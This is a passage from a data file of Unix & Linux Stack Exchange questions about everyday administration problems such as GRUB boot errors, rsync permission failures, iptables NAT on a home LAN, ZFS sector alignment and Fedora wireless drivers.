lines (i.e. `d``d` deletes the line and then `p` puts it back '1 higher'). Is there are similar set of keystrokes for switching 2 characters so that `wsih` would become `wish`?"} {"_id": "7940", "title": "I'm failing to restore a VirtualBox VM", "text": "I am trying to restore a VM but I get this error message: ![enter image description here](http://i.stack.imgur.com/SOuax.png) I think this happened because, while the VM was live, I removed one snapshot. How do I fix this, short of restoring older snapshots? **NOTE** : This problem happens when I use version **4.0.4**. Version **3.2.10** allows me to delete a snapshot of a VM, even though it's live. I guess it's a regression... watch me downgrading."} {"_id": "9194", "title": "GRUB error 15, no boot menu nor /boot", "text": "I am have a fully updated Arch Linux system that was running fine. Last night I tried to setup autofs per instructions on the Arch wiki, but upon restart there was no boot menu and only a GRUB error message saying \"Error 15\". (1) Using Ext2explore in Windows, I can see the following partition structure: ![partitions from Windows](http://i.stack.imgur.com/wbnz1.png) (2) Using fdisk in an ArchLinux live cd, I can see this: ![partitions from Arch live cd](http://i.stack.imgur.com/ICI00.png) (3) I tried to do \"fdisk /dev/sda/\" then the commands x, f, w to correct error, but fdisk says my partitions' \"ordering is correct already\" (4) Using the root and setup commands in the GRUB shell also ended in failure (it tells me it can't find GRUB files, /boot/grub/, etc. etc.). Specifically, I tried \"root (hd0,1)\", then \"setup (hd0)\", (also hd0,0, hd0,2, etc.), all failed. Is there any hope of restoring my system? Thanks for your help. P.S. here is my menu.lst, which can be seen in Ext2explore: # Config file for GRUB - The GNU GRand Unified Bootloader # /boot/grub/menu.lst # DEVICE NAME CONVERSIONS # # Linux Grub # ------------------------- # /dev/fd0 (fd0) # /dev/sda (hd0) # /dev/sdb2 (hd1,1) # /dev/sda3 (hd0,2) # # FRAMEBUFFER RESOLUTION SETTINGS # +-------------------------------------------------+ # | 640x480 800x600 1024x768 1280x1024 # ----+-------------------------------------------- # 256 | 0x301=769 0x303=771 0x305=773 0x307=775 # 32K | 0x310=784 0x313=787 0x316=790 0x319=793 # 64K | 0x311=785 0x314=788 0x317=791 0x31A=794 # 16M | 0x312=786 0x315=789 0x318=792 0x31B=795 # +-------------------------------------------------+ # for more details and different resolutions see # http://wiki.archlinux.org/index.php/GRUB#Framebuffer_Resolution # general configuration: timeout 5 default 0 color green black # boot sections follow # each is implicitly numbered from 0 in the order of appearance below # # TIP: If you want a 1024x768 framebuffer, add \"vga=773\" to your kernel line. # #-* # (0) Arch Linux title Arch Linux root (hd0,0) kernel /vmlinuz26 root=/dev/disk/by-uuid/f4c13c68-54e4-4631-8a5a-d1649d5c3b02 ro vga=771 initrd /kernel26.img # (1) Arch Linux title Arch Linux Fallback root (hd0,0) kernel /vmlinuz26 root=/dev/disk/by-uuid/f4c13c68-54e4-4631-8a5a-d1649d5c3b02 ro initrd /kernel26-fallback.img # (2) Windows #title Windows #rootnoverify (hd0,0) #makeactive #chainloader +1 I tried the solution provided in the first answer, but failed with the following output: ![Can't install Grub after chroot](http://i.stack.imgur.com/SCBAd.png) Also notice that menu.lst is not there, even though it appeared when I examined the partition in Ext2explore. Also, here are the contents of /etc/fstab: ![fstab](http://i.stack.imgur.com/6nLEn.png)"} {"_id": "7942", "title": "How to enable flash on Chromium", "text": "How do you get Adobe's flash video to play on Chromium? Is it this painful, or is there somewhere an extension? **NOTE** : On Debian, I install **flashplugin-nonfree** for Mozilla-based browsers. Is there an equivalent package for Chrome? **UPDATE** : I needed to re-install **flashplugin-nonfree** for this to work."} {"_id": "7943", "title": "How is the linux graphics stack organised?", "text": "Can anybody explain(hopefully with a picture), how is the linux graphics stack organised? I hear all the time about X/GTK/GNOME/KDE etc., but I really don't have any idea what they actually do and how they interact with each other and other portions of the stack. How do Unity and Wayland fit in?"} {"_id": "63788", "title": "Why do new terminals in Awesome spawn with SHLVL>1?", "text": "I have a `PS1` which shows the SHLVL if it's not 1 to quickly see if I'm in a subshell. This works as expected when using GNOME, but when I spawn a new terminal in Awesome WM (`Mod4`+`Return`) it always starts with `SHLVL=2` or higher. Is this normal? This is directly related to the number of times I have restarted Awesome (`Mod4`+`Ctrl`+`r` or `pkill -HUP awesome`). Is there some way to avoid spawning new shells when restarting? These commits seem to be relevant, since Awesome ends up running something like `$SHELL -c ...` on `HUP`, but I don't know enough C to fix it. My `/bin/sh` is `dash` and my login shell is `bash`. Reported the issue."} {"_id": "109366", "title": "Does Bash have similar features such as Fish's autosuggestions and highlighting?", "text": "I recently noticed 2 features in Fish and was wondering if anyone knew if these were also available in Bash? ### Syntax highlighting ![ss #1](http://i.stack.imgur.com/IeSEw.png) Specifics: * You'll quickly notice that fish performs syntax highlighting as you type. Invalid commands are colored red by default: * A command may be invalid because it does not exist, or refers to a file that you cannot execute. When the command becomes valid, it is shown in a different color * fish will underline valid file paths as you type them * This tells you that there exists a file that starts with 'somefi', which is useful feedback as you type. ### Autosuggestions ![ss #2](http://i.stack.imgur.com/peyTN.png) Specifics: * fish suggests commands as you type, and shows the suggestion to the right of the cursor, in gray. * It knows about paths and options * To accept the autosuggestion, hit right arrow or Control-F. If the autosuggestion is not what you want, just ignore it."} {"_id": "42174", "title": "What are the recommended ways of defending a remote *nix install from a hamfisted admin?", "text": "Once in a while (often a long while), I have a difficulty where I execute a command that completely screws up a Linux machine. Most recently, I accidentally mounted-again the root partition (thinking it was the new USB drive I had just formatted), and then proceeded to recursively chown the partition to myself (again, just trying to grant myself user-access to the USB drive). As soon as I realized what I had done (in mid-progress), I aborted it, but the damage was done. Many core programs were no longer root owned, so the machine was essentially in a zombified state. Some user functions (ssh, rsync) still functioned, but administration level stuff was totally locked-out. Couldn't mount, umount, reattach to screen sessions, reboot, etc. If the machine were in the living room here with me, \"repairing\" it (reinstall) would have been trivially easy. But it isn't. It is in my brother's house. He's not big on me walking him through repairs/reinstall, and I understand that. So, I'm going over in a few days to fix the damage I did (and hopefully install something more admin-screwup-resistant). I say all that to ask the question: What are the recommended ways of hardening an install against admin-hamfistedness? Things not considered, or considered and dropped quickly: 1. Harden the administrator to not execute stupid commands: A great idea, but won't work, because as a human, I occasionally will do things that I realize after-the-fact are a bad idea. What I'm looking to do is out-think myself in advance, so when I do something stupid, the machine will refuse, and I'll realize \"Oh crap! That could have been Very Bad (TM)! Let's not do that again.\" Things I've considered: 1. Mount the root partition read-only: Would protect the root from changes, which might have negative affects if parts are expected to be writeable, and aren't. Also wouldn't necessarily protect the partition from being mounted again somewhere else as read-write. 2. Use a compressed-readonly root image of some sort with a union-like writeable layer above it so no changes are ever really made to root, and a reboot clears any screw-ups: This would be OK/good if no changes ever need to be made to root, and maybe /etc could be reloaded/populated from a persistent file somewhere else. 3. Use btrfs with regular (daily, maybe) snapshots, so that if an error is made, recovery is easier: Might still be sub-optimal as it would require direct user intervention, and I don't know that I could walk someone else through the changes to roll back the oops. 4. Use a more \"live\"/\"embedded\" Linux/BSD distro designed more with stability/predictability/security in mind instead of a more generic distro As things stand now, I'm likely to use option 4 to install a somewhat more limited system than the full Debian install I had been using. But as just a file server and torrent client, it should work fine, and as a remote machine, defending the machine from myself is a pretty big asset."} {"_id": "16918", "title": "Empty XFCE Applications menu", "text": "After installing one application that put its launcher in the wrong menu category I decided to relocate it to its correct category. To this effect I edited the Applications menu (`right click on it -> Properties -> Edit menu`). After making little changes to the menu its entries disappeared and now looks like shown in the following image: ![No entries in the main XFCE menu](http://i.stack.imgur.com/y3KJU.png) I have looked at the instructions in the XFCE Wiki and I'm supposed to do: # cp ~/.cache/xfce4/desktop/menu-cache-name-of-the-generated-file.xml ~/.config/xfce4/desktop/menu2.xml # cd ~/.config/xfce4/desktop/ # cat menu.xml > menu3.xml # cat menu2.xml >> menu3.xml # mv menu.xml menu.orig.xml # mv menu3.xml menu.xml but there's no `~/.cache/xfce4/desktop/` directory in my computer. What can I do to restore the main applications menu? PS: I'm using Ubuntu 10.10 Maverick Merkat with XFCE."} {"_id": "42172", "title": "How can I block a network with lighttpd?", "text": "I already block some simple ip lighttpd but I want to block a whole network. I've problem to understand what is this network address for example 10.0.0.0/8 and/or 172.16.2.0/24 network? What is this /8 or /24 means? I use $HTTP[\"remoteip\"] to add my ip I want to deny the access."} {"_id": "80389", "title": "How to remotely check if apache server responds", "text": "I have 2 servers. one of them often crashes. I want to send a SMS to my phone when it crashes. I wrote this simple bash script in another server and put it in crontab to run every 10 minutes. wget --spider http://mywebsite.com || php sendsms.php Is this the right way? sometimes I get SMS, but I see that server is running without any problem."} {"_id": "63781", "title": "What is the difference between which and where", "text": "What is the difference between `where` and `which` shell commands? Here are some examples ~ where cc /usr/bin/cc /usr/bin/cc ~ which cc /usr/bin/cc and ~ which which which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde' /usr/bin/which ~ which where /usr/bin/which: no where in (/usr/local/bin:/bin:/usr/bin:/home/bnikhil/bin:/bin) also ~ where which which: aliased to alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde which: shell built-in command /usr/bin/which /usr/bin/which ~ where where where: shell built-in command To me it seems that they do the same thing one being a shell builtin, not quite sure how that is different from a command?"} {"_id": "44077", "title": "What does it mean to be in group 0?", "text": "Several users in a system I inherited have their group set to 0 in /etc/passwd. What does that mean? Do they essentially get full root privileges? The system is running CentOS 5, and the users appear to be primarily system- related things, although a former administrator is also in that group: > > $ grep :0: /etc/passwd > root:x:0:0:root:/root:/bin/bash > sync:x:5:0:sync:/sbin:/bin/sync > shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown > halt:x:7:0:halt:/sbin:/sbin/halt > operator:x:11:0:operator:/root:/sbin/nologin > jsmith:x:500:0:Joe Smith:/home/jsmith:/bin/bash > $ >"} {"_id": "76991", "title": "Which tasks/commands can't be executed with user gid=0 but not uid=0 on Linux", "text": "In a Linux server I will have an user with gid=0 but it's uid won't be 0. As there are many commands with root:root and execute permissions for group I know there will be a lot of administrative task that this user can't do because many programs checks at start if UID=0 Anyone knows what commands/tasks can't do a user with UID!=0 and GUID=0? That user could mount filesystems or change passwords...? For example, the user can't read messages as it has only read permissions for root owner. I know the question is open. Many thanks!"} {"_id": "16917", "title": "best practice to backup config files", "text": "I want to setup froxlor on not fresh install remote server (Ubuntu 10.04.2). I take care of admin the server since two month. Before I start, the previous guy installed and config some services and files. I don't know what he exactly does, I can only view what he installed (by the history) but not what he edit. I want to install the Server-Management-Panel 'Froxlor' to administrate the whole stuff with it and not doing it manually by ssh. My cousin (he rent the server) should also be able to config some stuff with the browser. These services already installed and configured and used * apache 2 + php 5 + mysql 5.1 * proftp 1.3 * postfix 2.7 + courier 0.62 The tutorials I found, are based on fresh install system. I already installed froxlor, but for using it I have to execute some scripts and change/overwrite the config files of the services. But if I do it, the current configurations will be lost. **What's the best practice to backup the configs as simple as possible** (with less effort and problems) and configure froxlor and then merge the backuped files. Which data / config files I have to backup?"} {"_id": "63785", "title": "Best language to write linux services", "text": "I want to create a crawler that scans one single web page and sends me an email in case something is wrong on the page (the page holds some webservers' status - Up/Down). What would be the best language to write such a service in? I've considered PHP or Python, but as they are interpreted languages (+PHP has a max time limit that a script runs), I don't think they're the best fit for this. Also, C/C++ is not an option. I was thinking about Java, since it has Threading and I may need it, but I'm not sure."} {"_id": "63784", "title": "Using Trash with Mutt: Does it make sense?", "text": "I come from Thunderbird, which I found to be bloatware with spontaneous hiccoughs using 20\u201340% of processing power, weak IMAP and local mailfolder handling and a constant 100\u2013500MB of RAM use. But it moved every deleted message to the Trash folder instead of purging directly. Since I\u2019m unsure if you really need that (mutt has the `marked deleted` stage), are there any experienced mutt users that can answer? Especially: Have you experienced loss of mail you first thought was unnecessary to archive but was not and gone? I normally don\u2019t double-check before purging. Do you? (Statement aside: Mutt (with `offlineimap`, `msmtp` and 10 accounts) is by far the hardest program I ever had to configure. I am a Vim user on Archlinux\u2026) Edit (for purpose of documentation): To set up a trash with Mutt, there basically are two possibilities: 1. Doing it via macro: macro index D \\ \"+/ACCOUNT/Trash\" \\ \"move message to the trash\" 2. Installing the patch."} {"_id": "16912", "title": "Changing Redhat Network Settings From DHCP to STATIC IP Via Configuration Files", "text": "In order to make the statically assigned IP work, I have already modified the file /etc/sysconfig/network-scripts/ifcfg-eth0 as follows: DEVICE=eth0 IPADDR=10.33.17.143 NETMASK=255.255.255.0 BOOTPROTO=static ONBOOT=yes Any other configuration files that I might need to take care of before the static IP could be used? I am trying to change the network settings from the default DHCP to static IP."} {"_id": "63786", "title": "Linux Mint - Cairo Dock freezes when removing an item", "text": "I have installed Cairo Dock on Linux Mint which works great except when I go to remove an item from the dock it freezes. This is because I haven't confirmed the removal of the button from the dialog box. as per this page - http://glx-dock.org/bg_topic.php?t=6145 The problem is 90% of the time I have absolutely no idea where this dialog box is. Sometimes (rarely) it will show on top of all my open applications and I click \"Yes\" and we go happily on our way, but usually it won't show, and minimizing all applications doesn't reveal it. I've even tried removing an item from the dock with no applications open at all and the dialog box won't show even on top of the desktop. Any ideas?"} {"_id": "97474", "title": "Managing iptables for home lan routing", "text": "I have a LAN at home. * One Netgear router - 192.168.0.1 connected to the internet. * One Macbook - 192.168.0.10 (connected to Netgear router) * One PC with Kali Linux - 192.168.0.20 (connected to Netgear too) I'm trying to route all Macbook traffic through the PC. So I set the network settings on my Macbook proxy-server address - 192.168.0.20 (PC). I have no problems with this - all packets go to the PC (through Netgear router of course). Its okay. but.. How to manage the NAT table on Linux to route Macbook's traffic to the router (and so to the internet)? I tried to do something like this, but it doesn't work correctly: iptables -t nat -A PREROUTING -s 192.168.0.10 -j DNAT --to-destination 192.168.0.1 iptables -t nat -A POSTROUTING -s 192.168.0.10 -j SNAT --to-source 192.168.0.20 with this settings I have BAD REQUEST 400 in my browser on Mac."} {"_id": "12209", "title": "Configure webserver for compression", "text": "Based on this page: http://code.google.com/speed/page- speed/docs/payload.html#GzipCompression I need to enable compression on my website, but I have no idea how to do this. If this is the right stackexchange page for me to ask this question, could you please help me do this setup?"} {"_id": "97476", "title": "Snapshot large changing files", "text": "At home I have the following backup scheme: All machines daily rsync to the servers $FULL_COPY directory. The server takes snapshots of that directory daily (also weekly/monthly), keeping at most X snapshots. Also using rsync: rsync -ar --link-dest=$LATEST_SNAPSHOT $FULL_COPY $NEW_SNAPSHOT This works great, files not changed since last snapshot get hard linked. The problem is large files (to be precise Thunderbird's inbox), a small change means an entire copy of the file. My snapshots are easily a couple of GB, but maybe only a few MB has changed. Is there a smarter way to do this? (my $FULL_COPY is also replicated on a remote machine, so I'm not in need of this redundancy). My only idea is a CoW filesystem supporting snapshots. But that would mean major surgery on my system which I'm not fond of."} {"_id": "97478", "title": "A Chromebook-like distro based on Firefox OS?", "text": "I'm wondering if it's possible to make an operating system distro based on the same principle as Firefox OS or ChromeOS. One which is basically a Gnu/Linux kernel / core of tools combined with Mozilla's \"Boot2Gecko\" stack of Gonk / Gecko / Gaia (https://wiki.mozilla.org/B2G/Architecture) and which runs apps written in HTML5 / javascript. I want this as something I can boot from a pendrive or install on an ordinary laptop (not for a mobile-phone). Does anyone know if there's currently a project to make this? Or, if not, what would be involved in trying to put one together? (Using B2G + http://www.linuxfromscratch.org/ etc.)"} {"_id": "12205", "title": "How exactly do people \"crack\" Unix/Linux Systems?", "text": "No im not looking to become a cracker or something like that, but Im trying to figure out the process (more from a programming perspective). So im assuming (guessing) a cracker's main goal is to gain root access to install whatever software (or script) he's written up right? or maybe installing their own kernal module (thats devious for whatever reason) How exactly does a person go about doing this? I know people use scripts to check for exploits......but I don't see how, and I also don't exactly see what they do with them once they find them? Are they checking versions for known exploits......and then once they find one....... I know this all sounds very newbish. but im just trying to get an idea of how it works since I know Linux/Unix systems are supposed to be very secure but im trying to figure out how someone would even go about (the process) of gaining root access."} {"_id": "12206", "title": "Debian (Gnome): unable to login", "text": "I am new to Linux, installed Gnome, and unable to login, as only root is set, and disabled, I think after reading on the Internet. Now how do i get back to the command line, at least so I can deal with that and fix my issues from there? I am unable to bypass the Gnome login screen."} {"_id": "37439", "title": "Should you run automatic updates", "text": "I'm running production Centos web servers. I want to know what is best practice for running updates. Should I automate this with yum-cron or yum- updatesd? Or is there a danger of updates breaking sites so it would be better to update on a test server and then run updates manually weekly? The majority of the servers are using only the official repositories but some have the atomic repository for PHP modules that are not available otherwise. What's best in this case? can I set yum to only use Atomic for the PHP modules ? I don't want everything updating to the bleeding edge stuff in Atomic, I would trust rather Centos (or really Red Hat) to keep my servers stable and secure."} {"_id": "10044", "title": "Why do I get an \"rsync: failed to set times on ... : Operation not permitted (1)\" error on Ubuntu 10.10 with SME Server 7.4?", "text": "I am trying to cron an rsync via ssh between two fileservers that are running SME Server 7.4 and Ubuntu 10.10, respectively. The first rsync worked just fine (for reasons that I do not know), but now, well... here's the output: [i@i-drive ~]$ rsync -avz -e ssh /home/e-smith/files/ibays/drive-i/files/Warehouse\\ Pics/* fm-backup@[hostname removed]:~/img_all/ sending incremental file list Converted Warehouse Pictures/ rsync: failed to set times on \"/home/fm-backup/img_all/Converted Warehouse Pictures\": Operation not permitted (1) Converted Warehouse Pictures/12903-13099/ rsync: failed to set times on \"/home/fm-backup/img_all/Converted Warehouse Pictures/12903-13099\": Operation not permitted (1) Converted Warehouse Pictures/12903-13099/13038/ rsync: recv_generator: mkdir \"/home/fm-backup/img_all/Converted Warehouse Pictures/12903-13099/13038\" failed: Permission denied (13) *** Skipping any contents from this failed directory *** Converted Warehouse Pictures/30500 - 30600/30677/ rsync: failed to set times on \"/home/fm-backup/img_all/Converted Warehouse Pictures/30500 - 30600/30677\": Operation not permitted (1) Converted Warehouse Pictures/30500 - 30600/30677/P1430928.JPG Converted Warehouse Pictures/30500 - 30600/30677/P1430929.JPG rsync: mkstemp \"/home/fm-backup/img_all/Converted Warehouse Pictures/30500 - 30600/30677/.P1430928.JPG.8SDmeO\" failed: Permission denied (13) rsync: mkstemp \"/home/fm-backup/img_all/Converted Warehouse Pictures/30500 - 30600/30677/.P1430929.JPG.qEfwpI\" failed: Permission denied (13) Converted Warehouse Pictures/30900 - 31000/ rsync: recv_generator: mkdir \"/home/fm-backup/img_all/Converted Warehouse Pictures/30900 - 31000\" failed: Permission denied (13) *** Skipping any contents from this failed directory *** Converted Warehouse Pictures/Tiff's Folder/ rsync: failed to set times on \"/home/fm-backup/img_all/Converted Warehouse Pictures/Tiff's Folder\": Operation not permitted (1) Converted Warehouse Pictures/Tiff's Folder/IMG_3474.JPG Converted Warehouse Pictures/Tiff's Folder/IMG_3475.JPG Converted Warehouse Pictures/Tiff's Folder/IMG_3476.JPG rsync: mkstemp \"/home/fm-backup/img_all/Converted Warehouse Pictures/Tiff's Folder/.IMG_3474.JPG.aBPfwH\" failed: Permission denied (13) rsync: mkstemp \"/home/fm-backup/img_all/Converted Warehouse Pictures/Tiff's Folder/.IMG_3475.JPG.4rQNSM\" failed: Permission denied (13) rsync: mkstemp \"/home/fm-backup/img_all/Converted Warehouse Pictures/Tiff's Folder/.IMG_3476.JPG.EpQJkY\" failed: Permission denied (13) Unconverted Warehouse Pictures/PANA 1430200/Thumbs.db Unconverted Warehouse Pictures/PANA 1430300/ rsync: failed to set times on \"/home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430300\": Operation not permitted (1) Unconverted Warehouse Pictures/PANA 1430300/Thumbs.db Unconverted Warehouse Pictures/PANA 1430400/ rsync: failed to set times on \"/home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430400\": Operation not permitted (1) Unconverted Warehouse Pictures/PANA 1430400/Thumbs.db Unconverted Warehouse Pictures/PANA 1430500/ rsync: failed to set times on \"/home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430500\": Operation not permitted (1) Unconverted Warehouse Pictures/PANA 1430500/Thumbs.db Unconverted Warehouse Pictures/PANA 1430600/ rsync: failed to set times on \"/home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430600\": Operation not permitted (1) Unconverted Warehouse Pictures/PANA 1430600/Thumbs.db Unconverted Warehouse Pictures/PANA 1430700/ rsync: failed to set times on \"/home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430700\": Operation not permitted (1) Unconverted Warehouse Pictures/PANA 1430700/Thumbs.db Unconverted Warehouse Pictures/PANA 1430800/ rsync: failed to set times on \"/home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430800\": Operation not permitted (1) Unconverted Warehouse Pictures/PANA 1430800/Thumbs.db Unconverted Warehouse Pictures/PANA 1430900/ rsync: failed to set times on \"/home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430900\": Operation not permitted (1) Unconverted Warehouse Pictures/PANA 1430900/Thumbs.db Unconverted Warehouse Pictures/PANA 1440000/ rsync: failed to set times on \"/home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1440000\": Operation not permitted (1) Unconverted Warehouse Pictures/PANA 1440000/Thumbs.db Unconverted Warehouse Pictures/PANA 1440100/ rsync: failed to set times on \"/home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1440100\": Operation not permitted (1) Unconverted Warehouse Pictures/PANA 1440100/Thumbs.db Unconverted Warehouse Pictures/PANA 1440200/ rsync: failed to set times on \"/home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1440200\": Operation not permitted (1) Unconverted Warehouse Pictures/PANA 1440200/Thumbs.db rsync: mkstemp \"/home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430200/.Thumbs.db.IRLwfB\" failed: Permission denied (13) inflate returned -3 (0 bytes) rsync error: error in rsync protocol data stream (code 12) at token.c(546) [receiver=3.0.7] rsync: connection unexpectedly closed (8118 bytes received so far) [sender] rsync error: error in rsync protocol data stream (code 12) at io.c(601) [sender=3.0.7] (Note: Trust me, I know that TRWTF is the terrible and horrible way that the directory is organized. That's another project for another day.) Neither account is root, and I don't want to have to make the accounts root for this to work. i@i-drive rsyncs just fine to my OSX fileserver, and from the same folder, even. The account on the OSX box isn't root, either."} {"_id": "71851", "title": "rsync: failed to set permissions on \"/path/to/file.txt\": Operation not permitted (1)", "text": "I encountered the error when attempting to transfer source files from a remote Linux web server to a local HP dt1000i Desktop Hard Drive connected to an Ubuntu 12.10 box via USB. A Samba share is configured for the HP drive to enable the Windows machines on my LAN to access the files. Samba was set up using the built-in graphical folder sharing functionality within Ubuntu. I can modify the files fine in Windows, but problems occur using `rsync`. When the error occurred, I was trying to use `rsync` to backup files from my web space to the HP drive. I executed the `rsync` command in PuTTY from a Windows 8 machine on my LAN: `rsync -avz --progress --partial -e 'ssh -p 2222' user@www.example.com:/home/user/ /media/HPDesktopDrive/Backup/HostGator/` This resulted in the following error: `rsync: failed to set permissions on \"/path/to/file.txt\": Operation not permitted (1)`. I thought the source of the error was the mount options for the HP drive in the `/etc/fstab` file: both the `user_id` and `group_id` options were set to zero so I tried change them to `1000` as per the advice in NAS box mounted via CIFS - problem with permissions. An `ls -la` of the Samba share reports that the user and group are recursively set to `root:root`. I tried to address this by executing `sudo chown -R mike:mike /media/HPDesktopDrive/`, but the files are still set to `root:root`. What is the correct command to change the permissions from my Windows machine via PuTTY and will this address the problem?"} {"_id": "109365", "title": "Why when I enter the command \"hostname\" it returns something other than my computers name?", "text": "_I am using a macBook Pro_ I enter: `new-host-2:~ Justin$ hostname` And it returns: `new-host-2.home` Why is this when it says in setting/sharing my computers name is \"Justin's macbook pro\" and computers on my local network can access my computer at \"Justins-MacBook-Pro.local\" The tutorial I am reading says that the command should return one of the \"many\" names of your computer, I am assuming this is one, but if it is where else on my computer can I find this name or a list of names for my computer? And why did it not return \"Justins-MacBook-Pro.local\", this format was what the tutorials computer returned?"} {"_id": "90121", "title": "Is it possible to change the sector size of a partition for zfs raidz pool in linux?", "text": "I've been migrating a zfs raidz pool on linux to new discs via virtual devices which were sparse files. I've used partitions on the discs as the discs are different sizes of 1.9T each. The last disc to add is a 4Tb disc and I partitioned it as the others with a 1.9T partition to add to the pool. It's using a GPT partition table. When I try to replace the last file with the 1.9T partition on the 4T disc I get the following zpool replace -f zfs_raid /zfs_jbod/zfs_raid/zfs.2 /dev/sdd1 cannot replace /zfs_jbod/zfs_raid/zfs.2 with /dev/sdd1: devices have different sector alignment How can I change the partition sector size to be 512 like the others, or failing that is it possible to change the other pool devices to 4024 ? Apparently the logical sector sizes are all 512 cat /sys/block/sdd/queue/hw_sector_size Disk /dev/sdd: 4000.8 GB, 4000787030016 bytes, 7814037168 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 4096 bytes I/O size (minimum/optimal): 4096 bytes / 4096 bytes As I have repartitioned the disc that contained the original 4th file based device that I'm trying to replace but it didn't work, I recreated the device file so it's currently resilvering that. zpool status output: NAME STATE READ WRITE CKSUM zfs_raid DEGRADED 0 0 0 raidz1-0 DEGRADED 0 0 0 sda3 ONLINE 0 0 0 sdc2 ONLINE 0 0 0 sdb1 ONLINE 0 0 0 replacing-3 OFFLINE 0 0 0 /zfs_jbod/zfs_raid/zfs.2 OFFLINE 0 0 0 /mnt/butter2/zfs.4 ONLINE 0 0 0 (resilvering)"} {"_id": "90126", "title": "How to disable SMTP auth plain for Citadel 8.20 on Slackware 14.0?", "text": "How do I turn off SMTP AUTH PLAIN for Citadel 8.20 on Slackware 14.0? If I set up postfix to handle SMTP would this allow me to not have SMTP auth plain enabled"} {"_id": "90129", "title": "My HFS+ (hfsplus) partition won't mount with exec permissions", "text": "I'm dual-booting an old MacBook Pro with OS X 10.5 and Ubuntu Studio 13.04. I've partitioned my internal SATA drive as follows: /dev/sda1: LABEL=\"EFI\" UUID=\"3F3C-1AF6\" TYPE=\"vfat\" (EFI Boot Partition) /dev/sda2: UUID=\"b5ad14bd-a515-3227-a77a-3dfc75a9a771\" LABEL=\"MacKael\" TYPE=\"hfsplus\" (OS X Partition) /dev/sda3: LABEL=\"Ritz-MacLinux\" UUID=\"239fd22b-f7c0-4485-ac0c-628501642561\" TYPE=\"ext4\" (Ubuntu Partition) /dev/sda4: UUID=\"f5c8b700-b743-42a1-bae3-43fb361d26a7\" TYPE=\"swap\" /dev/sda5: UUID=\"87d54eaf-0b0f-3394-a33a-832cd486d919\" LABEL=\"Shared\" TYPE=\"hfsplus\" (Shared Partition (unjournaled)) My fstab entry for the Shared partition looks like this: UUID=87d54eaf-0b0f-3394-a33a-832cd486d919 /home/kael/.archive hfsplus auto,exec,rw,user 0 0 However, when I boot my computer and run `mount`, the result is this: /dev/sda5 on /home/kael/.archive type hfsplus (rw,noexec,nosuid,nodev) I've tried running `mount -t hfsplus -o remount,rw,exec,user /dev/sda5 /home/kael/.archive`, but it doesn't even seem to acknowledge the options I give it. Nothing changes. I can't find any error messages, either. I've looked through all of the logs and can't find any messages about that partition. Any thoughts or suggestions would be appreciated."} {"_id": "90128", "title": "How to remove duplicate letters using sed?", "text": "Using sed, how can I remove duplicate letters from HEADERS within a text file? NNAAMMEE nice - run a program with modified scheduling priority SSYYNNOOPPSSIISS nice [-n adjustment] [-adjustment] [--adjustment=adjustment] [command [a$ Above is a an example. I want the output after parsing with `sed` to be: NAME nice - run a program with modified scheduling priority SYNOPSIS nice [-n adjustment] [-adjustment] [--adjustment=adjustment] [command [a$"} {"_id": "63257", "title": "\"startx\" not found in Slackware 14.0", "text": "Had been running smoothly for a while in Slackware 14 on my laptop, did full install with KDE,then after installing Tor and Vidalia, the Vidalia icon stopped working, so I restarted the computer. For my primary user, `startx` was no longer recognized as a command. I was still able to startx from root, so then I made a user `test` using all defaults and `startx` works here too... though after reboot, `startx` is also \"not found\" for test. `echo $PATH startx` for the user: /usr/local/bin:/bin:/usr/bin startx `echo $PATH startx` for the superuser (`su -l`): /usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/games:/usr/lib/kde4/libexec:/usr/lib/qt/bin:/usr/share/texmf/bin startx I have also tried copying `.Xauthority` from root to the user, but to no avail. Another thing I tried was setting x to start using init scripts, but when it booted x, and I attempted to log in as user, it ignored my command until I logged in as root"} {"_id": "29359", "title": "How is Fedora 16 with proprietary software?", "text": "I was using Arch, Kubuntu and Ubuntu the most recently. I am considering Fedora for a stable KDE environment. But since the Fedora team is actively discouraging proprietary software like **Flash, NVidida drivers** , **wifi, bluetooth** and **MP3 support** , is it easy to actually install them without jumping through hoops and breaking your system? Is there any \"software bundle\" for enabling all of the above, like Ubuntu has non-free-extras?"} {"_id": "63252", "title": "Fedora 18 No Wireless", "text": "Just installed Fedora 18 and I can't get the wireless to work. What do I have and what have I done? I have a `Broadcom BCM4312` which is supported by the `broadcom-wl` driver. (link) lspci | grep Network 00:19.0 Ethernet controller: Intel Corporation 82567LM Gigabit Network Connection (rev 03) 0c:00.0 Network controller: Broadcom Corporation BCM4312 802.11b/g LP-PHY (rev 01) I have installed the driver and the kernel modules for it: rpm -qa | grep -e '-wl' | sort akmod-wl-5.100.82.112-7.fc18.4.i686 broadcom-wl-5.100.82.112-4.fc18.noarch kmod-wl-3.7.4-204.fc18.i686-5.100.82.112-7.fc18.8.i686 The kernel: uname -r 3.7.4-204.fc18.i686 I have loaded the module modprobe wl lsmod | sort | grep wl cfg80211 171182 1 wl lib80211 13684 1 wl wl 2465403 0 And even removed the `ssb` module, which I read on couple forums. Restarted the service, and even rebooted: service NetworkManager restart After all these, the wireless card is still not visible. What am I missing?"} {"_id": "63250", "title": "Storing thousands of files in one directory", "text": "I have a web-site that I'm checking for performance issues and bugs, and i came across a caching code that caches thousands of files into one single directory. I understand that this is not good and that I/O will degrade and i also heard about potential inode problem. And i know how to fix the caching code, but the thing is that at this point fixing would be very expensive. **The question** : What is the worst case scenario if i live it like it is right now? What will happen to the website? (right now this one single cache directory has 400K files) I'm new to Ubuntu. And i understand that this is might be an off-topic. But i think this is a \"system\" question and it does not belong to the 'programming' part of the stackoverflow. Thanks! **UPDATE:** The file system is UFS"} {"_id": "10512", "title": "'redirect' ssh path?", "text": "Instead of using... 